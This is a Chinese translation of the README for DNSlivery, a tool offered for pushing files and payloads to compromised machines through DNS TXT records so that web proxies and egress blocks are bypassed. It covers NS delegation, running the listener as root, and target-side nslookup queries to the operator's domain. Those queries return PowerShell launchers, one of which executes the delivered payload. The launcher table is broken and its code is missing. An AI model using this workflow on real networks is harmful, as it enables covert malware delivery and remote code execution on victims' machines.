通过 DNS 轻松传递文件和载荷。
本项目最初受到 PowerDNS 和 Joff Thyer 在 Paul's Security Weekly 播客第 590 期(youtu.be/CP6cIwFJswQ)中的技术环节的启发。
DNSlivery 允许使用 DNS 作为传输协议向目标传递文件。
功能:

在经典 Web 传递不可行且无需专用客户端软件的情况下,轻松向已入侵的目标传递文件和/或载荷。这适用于出站 Web 流量被禁止或仅被好奇的 Web 代理检查的受限环境。

尽管已有更完整的 DNS 隧道工具(例如 dnscat2 和 iodine),但它们都要求在目标上运行专用客户端。问题在于,在这种受限环境中,除了 DNS 之外可能没有其他方式传递客户端。换句话说,使用这些工具建立 DNS 通信通道需要已经拥有一个 DNS 通信通道。
相比之下,DNSlivery 仅提供从服务器到目标的单向通信,但不需要任何专用客户端即可实现。因此,如果你需要通过 DNS 建立可靠的双向通信通道,请使用 DNSlivery 将更高级 DNS 隧道工具的客户端传递到目标。
与大多数 DNS 隧道工具一样,DNSlivery 使用 TXT 记录以 base64 表示形式存储文件内容。然而,它不需要设置完整的 DNS 服务器即可工作。相反,它使用 scapy 库监听传入的 DNS 数据包并构造所需的响应。

由于大多数文件无法容纳在单个 TXT 记录中,DNSlivery 将创建多个有序记录,其中包含文件的 base64 分块。例如,上图说明了名为 file 的文件第 42 个分块的传递过程。
为了检索所有 base64 分块并在不需要目标上专用客户端的情况下将它们重新组合,DNSlivery 将为每个文件生成:

这种两阶段传递过程是必要的,以便为暂存器添加功能(例如处理丢失的 DNS 响应),否则这些功能无法容纳在单个 TXT 记录中。
目前仅支持 PowerShell 目标。但是,DNSlivery 可以改进以支持其他目标,例如 bash 或 python。如果你想看到此功能被实现,请告诉我 @no0be。
DNSlivery 不需要构建复杂的服务器基础设施。事实上,只有两个简单的要求:
NS 记录udp/53 流量的 Linux 服务器第一步是通过在你的域中创建新的 NS 记录,将子域委派给运行 DNSlivery 的服务器。例如,我创建了以下记录,将子域 dnsd.no0.be 委派给位于 vps.no0.be 的服务器。
dnsd IN NS vps.no0.be.
如果你的区域由第三方提供商管理,请参阅其文档以创建 NS 记录。
运行 DNSlivery 的唯一要求是 python3 及其 scapy 库。
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery 将提供给定目录(默认为 pwd)中的所有文件,并且需要以 root 权限运行以监听传入的 udp/53 数据包。
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
示例:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
由于域名允许的字符集比 UNIX 文件名(根据 RFC1035)限制更严格,DNSlivery 将在需要时执行规范化。
示例:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
请注意,当前的规范化代码并不完美,因为它没有考虑文件名重叠或大小限制。
在目标上,首先通过请求所需文件的专用 TXT 记录来检索启动器。支持以下三种启动器:
| 操作 | 启动器 |
|---|
nslookup -type=txt [filename].[stager].[domain]
然后,只需将 DNS 响应中引用的启动器复制并粘贴到 PowerShell 控制台即可在目标上检索文件。
示例:

| 描述 |
|---|
| 打印 | [filename].print.[domain] | (默认)将传递的文件打印到控制台 |
| 执行 | [filename].exec.[domain] | 执行传递的文件(对脚本有用) |
| 保存 | [filename].save.[domain] | 将传递的文件保存到磁盘(对二进制文件有用) |